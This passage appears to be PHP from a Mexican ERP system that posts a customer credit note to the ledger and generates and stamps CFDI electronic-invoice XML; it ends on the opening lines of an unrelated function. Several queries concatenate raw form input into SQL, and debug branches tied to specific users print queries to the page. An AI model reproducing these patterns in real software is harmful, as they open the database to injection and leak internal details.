notesorders_invoice.monto desc limit 1;\";\n $resultSelect = DB_query($querySelect, $db);\n\n if (DB_num_rows($resultSelect)) {\n $myrowResult=DB_fetch_array($resultSelect);\n\n if ($myrowResult['codesat']==null or $myrowResult['codesat']=='') {\n $queryGetCod=\"SELECT debtortrans.paymentname, paymentmethods.codesat\n FROM debtortrans \n INNER JOIN paymentmethods ON paymentmethods.paymentname= debtortrans.paymentname\n WHERE id='\".$myrowResult['transid_relacion'].\"'\n LIMIT 1\";\n $resultGetc = DB_query($queryGetCod, $db);\n if (DB_num_rows($resultGetc)) {\n $myrowGet=DB_fetch_array($resultGetc);\n\n //$vrcodeasat=$myrowGet['codesat'];\n //$vrcodepay=$myrowGet['paymentname'];\n }\n if ($_SESSION['UserID'] == 'desarrollo') {\n //echo '<pre> paymentname:'.$queryGetCod;\n //echo htmlentities($arrayGeneracion['xml']);\n }\n } else {\n //$vrcodeasat=$myrowResult['codesat'];\n //$vrcodepay=$myrowResult['paymentname'];\n }\n\n $vrcodepayid= $_POST['cmbMetodoPago'];\n \n \n $percentDescription = \"\"; // se deja vacio ya que la descripción solo permite 1000 caracteres, si no se timbra, se agrega solo en PDF\n\n $queryUpdate=\"UPDATE debtortrans SET paymentname='\".$vrcodepay.\"',codesat='\".$vrcodeasat.\"',c_TipoDeComprobante='E',c_paymentid='\".$vrcodepayid.\"',c_UsoCFDI='\".$_POST['cmbUsoCfdi'] .\"',invtext=concat(invtext,' ', '\".$percentDescription.\"') WHERE id='\".$DebtorTransIDND.\"'\";\n //echo \"<br>sqlUpdate:<pre>\".$queryUpdate;\n\n $result = DB_query($queryUpdate, $db);\n } else {\n $percentDescription = \"\"; // se deja vacio ya que la descripción solo permite 1000 caracteres, si no se timbra, se agrega solo en PDF\n\n $queryUpdate=\"UPDATE debtortrans SET paymentname='\".$_POST['paymentname'].\"',codesat='\".$vrcodeasat.\"',c_TipoDeComprobante='E',c_paymentid='\".$_POST['cmbMetodoPago'].\"',c_UsoCFDI='\".$_POST['cmbUsoCfdi'] .\"',invtext=concat(invtext,' ', '\".$percentDescription.\"') WHERE id='\".$DebtorTransIDND.\"'\";\n //echo \"<br>sqlUpdate:<pre>\".$queryUpdate;\n\n $result = DB_query($queryUpdate, $db);\n }\n }\n \n \n // ***************************************************************************************************\n // **** AFECTACIONES CONTABLES ****\n // ***************************************************************************************************\n $rmontosiniva = ($montosiniva / $rate);\n $rmontosinivaANT = ($montosiniva / $tipoCambioFacBIEN);\n $rmontoiva = ($montoiva / $rate);\n $rmontoivaP = ($montoiva / $rateSaldoANT);\n $rmonto = ($monto / $rate);\n\n /*echo \"<br> MONTO; TOTAL total: \".$monto.\" \".$rate.\" \".($monto/$rate);\n echo \"<br> MONTO; TOTAL montoiva : \".$montoiva.\" \".$rateSaldoANT.\" \".($montoiva/$rateSaldoANT);\n echo \"<br> MONTO; TOTAL MONTO SIN IVA : \".$montosiniva.\" \".$rate.\" \".($montosiniva/$rate);\n echo \"<br> MONTO; TOTAL MONTO SIN IVA tipoCambioFacBIEN : \".$montosiniva.\" \".$tipoCambioFacBIEN.\" \".($montosiniva/$tipoCambioFacBIEN);*/\n //$montoiva = $ivaNotaCredito/$rate;\n //$rmonto = $montoNotaCredito/$rate;\n \n // Obtiene la cuentas contables que se afectaran\n // *****************************************\n // Se afecta la cuenta de CxC\n // *****************************************\n // $cuenta_cxc=$_SESSION['CompanyRecord']['debtorsact'];\n $SQLClient = \"SELECT typeid FROM debtorsmaster WHERE debtorno='\" . $DebtorNo . \"'\";\n $result_typeclient = DB_query($SQLClient, $db, $ErrMsg, $DbgMsg, true);\n \n if (DB_num_rows($result_typeclient) == 1) {\n $myrowtype = DB_fetch_array($result_typeclient);\n $tipocliente = $myrowtype ['typeid'];\n }\n \n if ($typeFactura == 110 ) {\n \n $cuenta_cxc = ClientAccount($tipocliente, 'gl_accountcontado', $db);\n }else{\n $cuenta_cxc = ClientAccount($tipocliente, 'gl_accountsreceivable', $db);\n }\n\n \n\n $diferenciCambiariaTotal = 0;\n $diferenciCambiariaIVA = 0;\n if($monedaSaldoANT== $moneda aND $moneda!=$_SESSION ['CountryOfOperation'] ){\n\n $diferenciCambiaria=Round( abs((str_replace(\",\", \"\", $montosiniva)/$tipoCambioFacBIEN)) - (str_replace(\",\", \"\", $montosiniva)/$rate),8) ;\n\n $diferenciCambiariaIVA =Round( abs($montosiniva) /$rateSaldoANT - (str_replace(\",\", \"\", $montosiniva)/$rate),8) ;\n }elseif($monedaSaldoANT!=$_SESSION ['CountryOfOperation'] AND $moneda!=$_SESSION ['CountryOfOperation']){\n\n $diferenciCambiaria=Round(abs((str_replace(\",\", \"\", $montosiniva)/$tipoCambioFacBIEN)) - (str_replace(\",\", \"\", $montosiniva)/$rate),8) ;\n $diferenciCambiariaIVA =Round( abs($montoiva) /$rateSaldoANT - (str_replace(\",\", \"\", $montoiva)/$rate),8) ;\n }elseif($monedaSaldoANT!=$_SESSION ['CountryOfOperation'] AND $moneda==$_SESSION ['CountryOfOperation']){\n\n $diferenciCambiaria=Round(abs((str_replace(\",\", \"\", $montosiniva)/$tipoCambioFacBIEN)) - (str_replace(\",\", \"\", $montosiniva)/$rate),8) ;\n $diferenciCambiariaIVA =Round( abs($montoiva) /$rateSaldoANT - (str_replace(\",\", \"\", $montoiva)/$rate),8) ;\n }\n \n \n if ($montoiva != 0) {\n\n $SQL = \"INSERT INTO gltrans (\n type,\n typeno,\n trandate,\n periodno,\n account,\n narrative,\n amount,\n tag\n )\n VALUES (\n '\" . $systype_doc . \"',\n '\" . $transno . \"',\n '\" . $DefaultDispatchDate . \"',\n '\" . $PeriodNo . \"',\n '\" . $taxglcode . \"',\n '\" . $DebtorNo . \" No. de Nota de Credito: \" . $transno . \" @\" . $nombrecliente . \" ',\n '\" . ($rmontoiva) . \"',\n '\" . $tagref . \"'\n )\";\n \n $result = DB_query($SQL, $db);\n\n if( abs($ivaSaldoANT) ==0 ){\n $SQL = \"INSERT INTO gltrans (\n type,\n typeno,\n trandate,\n periodno,\n account,\n narrative,\n amount,\n tag\n )\n VALUES (\n '\" . $systype_doc . \"',\n '\" . $transno . \"',\n '\" . $DefaultDispatchDate . \"',\n '\" . $PeriodNo . \"',\n '\" . $taxglcodepaid . \"',\n '\" . $DebtorNo . \" No. de Nota de Credito: \" . $transno .' @TC:' . (1 / $rateSaldoANT). \" @\" . $nombrecliente . \" ',\n '\" . ($rmontoivaP *-1) . \"',\n '\" . $tagref . \"'\n )\";\n if ($_SESSION ['UserID'] == \"admin\") {\n // echo '<pre>'.$SQL;\n }\n $result = DB_query($SQL, $db);\n\n }else{\n //$diferenciCambiaria = $diferenciCambiaria + $diferenciCambiariaIVA;\n }\n\n\n \n }\n \n // Obtiene la cuentas contables que se afectar�n\n // $cuenta_notacredito=$_SESSION['CompanyRecord']['creditnote'];\n\n $cuenta_notacredito= ClientAccount($tipocliente, 'gl_debtoradvances', $db);\n\n // *****************************************\n // Se afecta la cuenta de CxC\n // *****************************************\n \n $SQL = \"INSERT INTO gltrans (\n type,\n typeno,\n trandate,\n periodno,\n account,\n narrative,\n amount,\n tag\n )\n VALUES (\n '\" . $systype_doc . \"',\n '\" . $transno . \"',\n '\" . $DefaultDispatchDate . \"',\n '\" . $PeriodNo . \"',\n '\" . $cuenta_cxc . \"',\n '\" . $DebtorNo . \" No. de Nota de Credito: \" . $transno .' @TC:' . (1 / $tipoCambioFacBIEN). \" @\" . $nombrecliente . \" ',\n '\" . ($rmonto * - 1) . \"',\n '\" . $tagref . \"'\n )\";\n // echo $SQL;\n if ($_SESSION ['UserID'] == \"admin\") {\n // echo '<pre>'.$SQL;\n }\n $result = DB_query($SQL, $db);\n\n\n\n if(abs($diferenciCambiaria)>0){\n if (($diferenciCambiaria) >= 0) {\n $ctautilidadperdida = $_SESSION ['CompanyRecord'] ['exchangediffact'];\n } else {\n $ctautilidadperdida = $_SESSION ['CompanyRecord'] ['gllink_exchangediffactutil'];\n }\n \n // $PeriodNo = GetPeriod($_SESSION['AllocCustomer']->TransDate, $db, $_SESSION['AllocCustomer']->tagref);\n \n $reference = $DebtorNo . \"@UTIL/PERD CAMBIARIA@\" . $diferenciCambiaria . ' @TC:' . (1 / $rateSaldoANT).' cliente:'.($nombrecliente);\n // extrae porcentaje de iva\n \n //echo \"<br> diferencia cambiaria \".$diferenciCambiaria;\n \n $SQL = \"INSERT INTO gltrans (type,\n typeno,\n trandate,\n periodno,\n account,\n narrative,\n amount,\n tag\n )\n VALUES ('\" . $systype_doc . \"',\n '\" . $transno. \"',\n '\" . $DefaultDispatchDate . \"',\n '\" . $PeriodNo . \"',\n '\" . $ctautilidadperdida . \"',\n '\" . $reference . \"',\n '\" . ($diferenciCambiaria)*(-1) . \"',\n '\" . $tagref . \"')\";\n //echo \"<br>gltrans 510: \".$SQL;\n $ErrMsg = _ ( 'CRITICAL ERROR' ) . '! ' . _ ( 'NOTE DOWN THIS ERROR AND SEEK ASSISTANCE' ) . ': ' . _ ( 'The GL entry for the difference on exchange arising out of this allocation could not be inserted because' );\n $DbgMsg = _ ( 'The following SQL to insert the GLTrans record was used' );\n $Result = DB_query($SQL, $db, $ErrMsg, $DbgMsg, True);\n\n }\n \n \n // *****************************************\n // Se afecta la cuenta de Notas de Credito\n // *****************************************\n \n $DebtorTransIDGL = DB_Last_Insert_ID($db, 'gltrans', 'counterindex');\n \n $SQL = \"INSERT INTO debtortransmovs (`tagref`,`transno`,`type`,`debtorno`,`branchcode`,`origtrandate`,`trandate`,`prd`,`settled`,`reference`,`tpe`,`order_`,`rate`,`ovamount`,`ovgst`,`ovfreight`,`ovdiscount`,`diffonexch`,`alloc`,`invtext`,`shipvia`,`edisent`,`consignment`,`folio`,`ref1`,`ref2`,`currcode`,`idgltrans`,`userid`)\";\n $SQL .= \" VALUES (\" . $tagref . \", \" . $transno . \",\" . $systype_doc . \", '\" . $DebtorNo . \"', '\" . $DebtorNo . \"', now(), '\" . $fechaini . \"',\" . $PeriodNo . \",'0','\" . $concepto . \"', '','0','\" . $rate . \"',\" . ($montosiniva * - 1) . \",\" . ($montoiva * - 1) . \",'0','0','0','0','','1','0','', 'NCR','NCR','NCR','\" . $moneda . \"',\" . $DebtorTransIDGL . \",'\" . $_SESSION ['UserID'] . \"')\";\n $result = DB_query($SQL, $db);\n \n // afecta cuentas de notas de credito\n $SQL = \"INSERT INTO gltrans (\n type,\n typeno,\n trandate,\n periodno,\n account,\n narrative,\n amount,\n tag\n )\n VALUES (\n '\" . $systype_doc . \"',\n '\" . $transno . \"',\n '\" . $DefaultDispatchDate . \"',\n '\" . $PeriodNo . \"',\n '\" . $cuenta_notacredito . \"',\n '\" . $DebtorNo . \" No. de Nota de Credito: \" . $transno . \" @\" . $nombrecliente . \" ',\n '\" . $rmontosinivaANT . \"',\n '\" . $tagref . \"'\n )\";\n if ($_SESSION ['UserID'] == \"admin\") {\n // echo '<pre>'.$SQL;\n }\n $msgexito = '<b>LA NOTA DE CREDITO SE HA GENERADO EXITOSAMENTE...';\n $result = DB_query($SQL, $db, $msgexito);\n \n if ($puntoVenta != 1) {\n prnMsg(_($msgexito), 'success');\n }\n $_SESSION['IvaManualAbonoDirectoClientes'] = 0;\n \n // imprimir datos de la nota de credito\n if (! isset($legaid) or $legaid == '' or ! isset($area) or $area == '') {\n $sql = \"Select legalid,areacode from tags where tagref=\" . $tagref;\n $result = DB_query($sql, $db);\n while ($myrow = DB_fetch_array($result, $db)) {\n $legaid = $myrow ['legalid'];\n $area = $myrow ['areacode'];\n }\n }\n \n // Consulta el rfc y clave de facturacion electronica\n $SQL = \" SELECT l.taxid,l.address5,t.tagname,t.typeinvoice, l.legalname\n FROM legalbusinessunit l, tags t\n WHERE l.legalid=t.legalid AND tagref='\" . $tagref . \"'\";\n \n if ($_SESSION['UserID'] == 'desarrollo')\n echo \"<pre> SQL -> $SQL </pre>\";\n\n $Result = DB_query($SQL, $db);\n if (DB_num_rows($Result) == 1) {\n $myrowtags = DB_fetch_array($Result);\n $rfc = trim($myrowtags ['taxid']);\n $keyfact = trim($myrowtags ['address5']);\n $nombre = trim($myrowtags ['tagname']);\n $tipofacturacionxtag = $myrowtags ['typeinvoice'];\n $legalname = $myrowtags ['legalname'];\n // $nombre=\"SERVILLANTAS DE QUERETARO S.A. DE C.V.\";\n }\n\n if ($_SESSION['UserID'] == 'desarrollo')\n echo \"<pre> tipofacturacionxtag -> $tipofacturacionxtag </pre>\";\n\n if ($tipofacturacionxtag == 0) {\n $InvoiceNoTAG = DocumentNext($systype_doc, $tagref, $area, $legaid, $db);\n } else {\n $InvoiceNoTAG = DocumentNext(11, $tagref, $area, $legaid, $db);\n }\n\n if ($_SESSION['UserID'] == 'desarrollo')\n echo \"<pre> InvoiceNoTAG ->\". print_r($InvoiceNoTAG) .\"</pre>\";\n \n \n $separa = explode('|', $InvoiceNoTAG);\n $serie = $separa [1];\n $folio = $separa [0];\n // echo 'folio:'.$InvoiceNoTAG;\n \n $OrderNo = 0;\n $factelectronica = XSAInvoicingCreditdirect($transno, $OrderNo, $DebtorNo, $systype_doc, $tagref, $serie, $folio, $db);\n // Envia los datos al archivooooo\n $factelectronica = utf8_encode($factelectronica);\n \n if ($_SESSION['UserID'] == 'desarrollo') {\n echo '<pre> cadena de XSAInvoicingCreditdirect:'.$factelectronica;\n //echo htmlentities($arrayGeneracion['xml']);\n }\n \n $empresa = $keyfact . '-' . $rfc;\n $nombre = $nombre;\n $tipo = 'Notas de Credito';\n // if ($ambiente == \"desarrollo\") {\n // $tipo = 'NOTA DE CREDITO';\n // }\n \n // $tipo='NOTA DE CREDITO';\n $myfile = '';\n $factelectronica = $factelectronica;\n // echo '<pre><br>'.$factelectronica;\n $param = array (\n 'in0' => $empresa,\n 'in1' => $nombre,\n 'in2' => $tipo,\n 'in3' => $myfile,\n 'in4' => $factelectronica\n );\n \n // Seccion para validar si selecciono la opcion de timbrar o no\n if ($typeFactura == 119 ) {\n $flagsendfiscal = 0;\n }else{\n $flagsendfiscal = 1;\n }\n \n $ligaN = '';\n\n // Si se va a timbrar el documento entra a esta condicion\n //echo \"<br>tipofacturacionxtag:\". $tipofacturacionxtag;\n if ($flagsendfiscal == 1) {\n if ($tipofacturacionxtag == 1) {\n //echo \"entra1\";\n try {\n $client = new SoapClient($_SESSION ['XSA'] . \"xsamanager/services/FileReceiverService?wsdl\");\n $codigo = $client->guardarDocumento($param);\n } catch (SoapFault $exception) {\n $errorMessage = $exception->getMessage();\n }\n $liga = $_SESSION ['XSA'] . \"xsamanager/downloadCfdWebView?serie=\" . $serie . \"&folio=\" . $folio . \"&tipo=PDF&rfc=\" . $rfc . \"&key=\" . $keyfact;\n $liga = '<p><img src=\"' . $rootpath . '/css/' . $theme . '/images/printer.png\" title=\"' . _('Imprimir') . '\" alt=\"\">' . ' ' . '<a target=\"_blank\" href=\"' . $liga . '\">' . _('Imprimir Nota de Credito') . ' (' . _('Laser') . ')' . '</a>';\n } elseif ($tipofacturacionxtag == 2) {\n echo \"entra2\";\n $arrayGeneracion = generaXML($factelectronica, 'egreso', $tagref, $serie, $folio, $DebtorTransIDND, 'NCreditoDirect', $OrderNo, $db);\n $XMLElectronico = $arrayGeneracion [\"xml\"];\n // Se agrega la generacion de xml_intermedio\n\n $array = generaXMLIntermedio($factelectronica, $XMLElectronico, ($arrayGeneracion [\"cadenaOriginal\"]), utf8_encode($arrayGeneracion [\"cantidadLetra\"]), $DebtorTransIDND, $db, 13, $tagref, $systype_doc, $transno);\n $xmlImpresion = ( $array [\"xmlImpresion\"] );\n $rfcEmisor = $array [\"rfcEmisor\"];\n $fechaEmision = $array [\"fechaEmision\"];\n\n $XMLElectronico = caracteresEspecialesFactura($XMLElectronico);\n $xmlImpresion = caracteresEspecialesFactura($xmlImpresion);\n $xmlImpresion =str_replace(\"&\", \"&amp;\", $xmlImpresion);\n \n // Almacenar XML\n $XMLElectronico = str_replace(\"<?xml version='1.0' encoding='UTF-8'?>\", '<?xml version=\"1.0\" encoding=\"UTF-8\"?>', $XMLElectronico);\n $query = \"INSERT INTO Xmls(transNo,type,rfcEmisor,fechaEmision,xmlSat,xmlImpresion,fiscal)\n VALUES(\" . $transno . \",\" . $systype_doc . \",'\" . $rfcEmisor . \"','\" . $fechaemision . \"','\" . utf8_decode(addslashes($XMLElectronico)) . \"','\" . utf8_decode(addslashes($xmlImpresion)) . \"',\" . $flagsendfiscal . \");\";\n $Result = DB_query($query, $db, $ErrMsg, $DbgMsg, true);\n \n if ($_SESSION ['Template_V6'] != '1') {\n $ligaN = \"PDFCreditDirect.php\";\n } else {\n $ligaN = \"PDFInvoice.php\";\n }\n // $liga = \"PDFCreditDirect.php\";\n $ligaN = '<p><img src=\"' . $rootpath . '/css/' . $theme . '/images/printer.png\" title=\"' . _('Imprimir') . '\" alt=\"\">' . ' ' . '<a target=\"_blank\" href=\"' . $rootpath . '/' . $ligaN . SID . '?tipo=' . $systype_doc . '&area=' . $area . '&legal=' . $legaid . '&TransNo=' . $transno . '&Type=13&Tagref=' . $tagref . '\">' . _('Imprimir Nota de Credito') . ' (' . _('Laser') . ')' . '</a>';\n } elseif ($tipofacturacionxtag == 3) {\n // $XMLElectronico=generaXML($factelectronica,'egreso',$tagref,$serie,$folio,$DebtorTransIDND,'NCreditoDirect',$OrderNo,$db);\n \n $ligaN = \"PDFNoteCreditDirectTemplate.php\";\n $ligaN = '<p><img src=\"' . $rootpath . '/css/' . $theme . '/images/printer.png\" title=\"' . _('Imprimir') . '\" alt=\"\">' . ' ' . '<a target=\"_blank\" href=\"' . $rootpath . '/' . $ligaN . SID . '&tipo=' . $systype_doc . '&area=' . $area . '&legal=' . $legaid . '&TransNo=' . $transno . '&Tagref=' . $tagref . '\">' . _('Imprimir Nota de Credito') . ' (' . _('Laser') . ')' . '</a>';\n } elseif ($tipofacturacionxtag == 4) {\n $success = false;\n $config = $_SESSION;\n //echo \"<br>---\".$_SESSION['FacturaVersion'];\n if ($_SESSION['FacturaVersion'] == \"3.3\") {\n //echo \"<br>generaXMLCFDI3_3:\";\n $arrayGeneracion = generaXMLCFDI3_3($factelectronica, 'egreso', $tagref, $serie, $folio, $DebtorTransIDND, 'NCreditoDirect', $OrderNo, $db);\n } else {\n $arrayGeneracion = generaXMLCFDI($factelectronica, 'egreso', $tagref, $serie, $folio, $DebtorTransIDND, 'NCreditoDirect', $OrderNo, $db);\n }\n \n $XMLElectronico = $arrayGeneracion [\"xml\"];\n $XMLElectronico = str_replace('<?xml version=\"1.0\" encoding=\"UTF-8\"?>', '', $XMLElectronico);\n\n if ($_SESSION['UserID'] == 'aenriquez' or $_SESSION['UserID'] == 'desarrollo') {\n //echo '<pre>'.$factelectronica;\n //echo '<br>XMLElectronico: <br><pre>'.htmlentities($XMLElectronico);\n }\n \n //require_once '../../.././' .'timbradores/TimbradorFactory.php';\n //include_once 'timbradores/TimbradorFactory.php';\n $timbrador = TimbradorFactory::getTimbrador($config);\n if ($timbrador != null) {\n $timbrador->setRfcEmisor($rfc);\n $timbrador->setDb($db);\n $cfdi = $timbrador->timbrarDocumento($XMLElectronico);\n $success = ($timbrador->tieneErrores() == false);\n foreach ($timbrador->getErrores() as $error) {\n if ($puntoVenta != 1) {\n prnMsg($error, 'error');\n }\n }\n } else {\n if ($puntoVenta != 1) {\n prnMsg(_('No hay un timbrador configurado en el sistema'), 'error');\n }\n }\n \n if ($success) {\n if ($_SESSION['UserID'] == \"desarrollo\") {\n echo '<br>success';\n }\n // leemos la informacion del cfdi en un arreglo\n $DatosCFDI = TraeTimbreCFDI($cfdi);\n if (strlen($DatosCFDI ['FechaTimbrado']) > 0) {\n //$cadenatimbre = '||1.1|' . $DatosCFDI ['UUID'] . '|' . $DatosCFDI ['FechaTimbrado'] . '|' . $DatosCFDI ['selloCFD'] . '|' . $DatosCFDI ['noCertificadoSAT'] . '||';\n $cadenatimbre = '||1.1|' . $DatosCFDI ['UUID'] . '|' . $DatosCFDI ['FechaTimbrado'] .'|' . $DatosCFDI ['RfcProvCertif']. '||' . $DatosCFDI ['SelloCFD'] . '|' . $DatosCFDI ['NoCertificadoSAT'] . '||';\n \n // guardamos el timbre fiscal en la base de datos para efectos de impresion de datos\n $sql = \"UPDATE debtortrans\n SET fechatimbrado='\" . $DatosCFDI ['FechaTimbrado'] . \"',\n uuid='\" . $DatosCFDI ['UUID'] . \"',\n timbre='\" . $DatosCFDI ['SelloSAT'] . \"',\n cadenatimbre='\" . $cadenatimbre . \"'\n where id=\" . $DebtorTransIDND;\n \n $ErrMsg = _('El Sql que fallo fue');\n $DbgMsg = _('No se pudo actualizar el sello y cadena del documento');\n $Result = DB_query($sql, $db, $ErrMsg, $DbgMsg, true);\n $XMLElectronico = $cfdi;\n // Guardamos el XML una vez que se agrego el timbre fiscal\n \n $legalname= caracteresEspecialesFactura($legalname);\n \n $carpeta = 'NCreditoDirect';\n\n $dir = \"/var/www/html\" . dirname($_SERVER ['PHP_SELF']) . \"/companies/\" . $_SESSION ['DatabaseName'] . \"/SAT/\" . utf8_decode(addslashes((str_replace('.', '', str_replace(' ', '', $legalname))))) . \"/XML/\" . $carpeta . \"/\";\n\n //$dir=\"/var/www/html/erpdistribucion/companies/\".$_SESSION ['DatabaseName'].\"/SAT/\".utf8_decode(addslashes((str_replace ( '.', '', str_replace ( ' ', '', $legalname ) )))).\"/XML/NCreditoDirect/\";\n \n if ($puntoVenta == 1) {\n // Si es punto de venta quitar carpetas\n $dir = str_replace('mvc/api/v1/', '', $dir);\n }\n\n \n $nufa = $serie . $folio;\n $mitxt = $dir . $nufa . \".xml\";\n if ($puntoVenta != 1) {\n unlink($mitxt);\n }\n \n //echo \"<br>\".$mitxt;\n // Se modifico la fucion\n $fp = fopen($mitxt, \"w\");\n fwrite($fp, $XMLElectronico);\n fclose($fp);\n\n \n $fp = fopen($mitxt . '.COPIA', \"w\");\n fwrite($fp, $XMLElectronico);\n fclose($fp);\n //Se agrega la generacion de xml_intermedio\n \n $XMLElectronico_Impresion=\"\";\n if ($_SESSION['FacturaVersion'] == \"3.3\") {\n $XMLElectronico_Impresion = generaXMLCFDI_Impresion($factelectronica, $XMLElectronico, $tagref, $db);\n }\n \n\n if (!empty($XMLElectronico_Impresion)) {\n $array = generaXMLIntermedio($factelectronica, $XMLElectronico_Impresion, $cadenatimbre, utf8_encode($arrayGeneracion [\"cantidadLetra\"]), $OrderNo, $db, 13, $tagref, $systype_doc, $transno);\n } else {\n $array = generaXMLIntermedio($factelectronica, $XMLElectronico, $cadenatimbre, utf8_encode($arrayGeneracion [\"cantidadLetra\"]), $DebtorTransIDND, $db, 13, $tagref, $systype_doc, $transno);\n }\n \n\n //$array = generaXMLIntermedio ( $factelectronica, $XMLElectronico, $cadenatimbre, utf8_encode ( $arrayGeneracion [\"cantidadLetra\"] ), $DebtorTransIDND, $db, 13, $tagref, $systype_doc, $transno );\n\n $xmlImpresion = ( $array [\"xmlImpresion\"] );\n $rfcEmisor = $array [\"rfcEmisor\"];\n $fechaEmision = $array [\"fechaEmision\"];\n $XMLElectronico = caracteresEspecialesFactura($XMLElectronico);\n $xmlImpresion = caracteresEspecialesFactura($xmlImpresion);\n $xmlImpresion =str_replace(\"&\", \"&amp;\", $xmlImpresion);\n\n if ($_SESSION['UserID']=='desarrollo') {\n echo '<br>XMLElectronico: <br><pre>'.htmlentities($XMLElectronico);\n echo '<br>xmlImpresion: <br><pre>'.htmlentities($xmlImpresion);\n }\n\n // Almacenar XML//\n $XMLElectronico = str_replace(\"<?xml version='1.0' encoding='UTF-8'?>\", '<?xml version=\"1.0\" encoding=\"UTF-8\"?>', $XMLElectronico);\n $query = \"INSERT INTO Xmls(transNo,type,rfcEmisor,fechaEmision,xmlSat,xmlImpresion,fiscal)\n VALUES(\" . $transno . \",\" . $systype_doc . \",'\" . $rfcEmisor . \"','\" . $fechaemision . \"','\" . utf8_decode(addslashes($XMLElectronico)) . \"','\" . utf8_decode(addslashes($xmlImpresion)) . \"',\" . $flagsendfiscal . \");\";\n $Result = DB_query($query, $db, $ErrMsg, $DbgMsg, true);\n \n if ($_SESSION ['Template_V6'] != '1') {\n $ligaN = \"PDFCreditDirect.php\";\n } else {\n $ligaN = \"PDFInvoice.php\";\n }\n \n if ($puntoVenta != 1) {\n $ligaN = '<p><img src=\"' . $rootpath . '/css/' . $theme . '/images/printer.png\" title=\"' . _('Imprimir') . '\" alt=\"\">' . ' ' . '<a target=\"_blank\" href=\"' . $rootpath . '/' . $ligaN . SID . '?Type=' . $systype_doc . '&area=' . $area . '&legal=' . $legaid . '&TransNo=' . $transno . '&Tagref=' . $tagref . '\">' . _('Imprimir Nota de Credito') . ' (' . _('Laser') . ')' . '</a>';\n }\n } else {\n prnMsg(_('No fue posible realizar el timbrado del documento, verifique con el administrador; el numero de error es:') . $cfdi, 'error');\n // exit;\n }\n }\n } else {\n $ligaN = GetUrlToPrintNu($tagref, $area, $legaid, $systype_doc, $db);\n $ligaN = '<p><img src=\"' . $rootpath . '/css/' . $theme . '/images/printer.png\" title=\"' . _('Imprimir') . '\" alt=\"\">' . ' ' . '<a target=\"_blank\" href=\"' . $rootpath . '/' . $ligaN . SID . '&tipo=' . $systype_doc . '&area=' . $area . '&legal=' . $legaid . '&TransNo=' . $transno . '&Tagref=' . $tagref . '\">' . _('Imprimir Nota de Credito') . ' (' . _('Laser') . ')' . '</a>';\n }\n } else {\n //echo \"<br> flagsendfiscal\";\n // Documento No Fiscal\n $arrayGeneracion = generaXMLCFDI($factelectronica, 'egreso', $tagref, $serie, $folio, $DebtorTransIDND, 'NCreditoDirect', $OrderNo, $db);\n $XMLElectronico = $arrayGeneracion [\"xml\"];\n \n // Se agrega la generacion de xml_intermedio\n $array = generaXMLIntermedio($factelectronica, $XMLElectronico, $arrayGeneracion [\"cadenaOriginal\"], utf8_encode($arrayGeneracion [\"cantidadLetra\"]), $DebtorTransIDND, $db, 13, $tagref, $systype_doc, $transno);\n $xmlImpresion = utf8_decode($array [\"xmlImpresion\"]);\n $rfcEmisor = $array [\"rfcEmisor\"];\n $fechaEmision = $array [\"fechaEmision\"];\n $XMLElectronico = caracteresEspecialesFactura($XMLElectronico);\n $xmlImpresion = caracteresEspecialesFactura($xmlImpresion);\n $xmlImpresion =str_replace(\"&\", \"&amp;\", $xmlImpresion);\n\n \n // Insertar el registro en la tabla de XMLS\n $query = \"INSERT INTO Xmls(transNo,type,rfcEmisor,fechaEmision,xmlSat,xmlImpresion,fiscal)\n VALUES(\" . $transno . \",\" . $systype_doc . \",'\" . $rfcEmisor . \"','\" . $fechaemision . \"','\" . utf8_decode(addslashes($XMLElectronico)) . \"','\" . utf8_decode(addslashes($xmlImpresion)) . \"',\" . $flagsendfiscal . \");\";\n \n $Result = DB_query($query, $db, $ErrMsg, $DbgMsg, true);\n \n if ($_SESSION ['Template_V6'] != '1') {\n $ligaN = \"PDFCreditDirect.php\";\n } else {\n $ligaN = \"PDFInvoice.php\";\n }\n \n $ligaN = '<p><img src=\"' . $rootpath . '/css/' . $theme . '/images/printer.png\" title=\"' . _('Imprimir') . '\" alt=\"\">' . ' ' . '<a target=\"_blank\" href=\"' . $rootpath . '/' . $ligaN . SID . '?Type=' . $systype_doc . '&area=' . $area . '&legal=' . $legaid . '&TransNo=' . $transno . '&Tagref=' . $tagref . '\">' . _('Imprimir Nota de Credito') . ' (' . _('Laser') . ')' . '</a>';\n \n /*$PrintDispatchNote = $rootpath . '/' . $liga . '?OrderNo=' . $OrderNo . '&TransNo=' . $BatchNo . '&Type=' . $tipodefacturacion;\n \n echo '<p class=\"page_title_text\">';\n echo '<img src=\"' . $rootpath . '/css/' . $theme . '/images/printer.png\" title=\"' . _ ( 'Imprimir Recibo ' ) . '\" alt=\"\">' . ' ';\n echo '<a href=\"' . $PrintDispatchNote . '\" target=\"_blank\">';\n echo _ ( 'Imprimir Recibo PDF ' ) . '</a></p>';*/\n } // Fin de condicion para timbrar el documento o no\n \n // Actualizar el documento para folio\n $SQL = \"UPDATE debtortrans\n SET folio='\" . $serie . '|' . $folio . \"',\n flagfiscal= '\" . $flagsendfiscal . \"' \n WHERE transno=\" . $transno . \" and type=\" . $systype_doc;\n \n $ErrMsg = _('ERROR CRITICO') . '! ' . _('ANOTE EL ERROR') . ': ' . _('La Actualizacion para saldar la factura, no se pudo realizar');\n $DbgMsg = _('El SQL utilizado para el registro de la fatura es:');\n $Result = DB_query($SQL, $db, $ErrMsg, $DbgMsg, true);\n $Result = DB_Txn_Commit($db);\n\n if ($puntoVenta != 1) {\n echo '<p><div align=\"center\">';\n echo $ligaN;\n echo '</div>';\n }\n\n if (function_exists(\"updateGlTransAccountingInfo\")) {\n $valued = updateGlTransAccountingInfo($systype_doc, $transno, $db);\n }\n \n if ($puntoVenta != 1) {\n echo '<p><div align=\"center\">';\n echo '<a href=\"ReportCustomerInqueryV3.php?CustomerID=' . $DebtorNo . '\">';\n echo '<font size=2 face=\"arial\"><b>';\n echo _('IR AL ESTADO DE CUENTA DEL CLIENTE');\n echo '</b></font>';\n echo '</a>';\n echo '</div>';\n }\n }\n \n // ***************************************************************************************************\n // ***************************************************************************************************\n // ***************************************************************************************************\n}", "function asignacion_anp_objetivos($id_objetivo_estrategico){\r\n\t\t//OBJETIVO ESTRATEGICO\t\t\t\t\r\n\t\t$sql_aae = \" SELECT * FROM anp_objetivo_estrategico \r\n\t\t\t\tWHERE id_objetivo_estrategico='\".$id_objetivo_estrategico.\"' \";\r\n\t\t$query_aae = new Consulta($sql_aae);\r\n\t\t$in_aae = \"\";\r\n\t\twhile($row_aae = $query_aae->ConsultaVerRegistro()){\r\n\t\t\t$in_aae .=$in_aae == \"\" ? 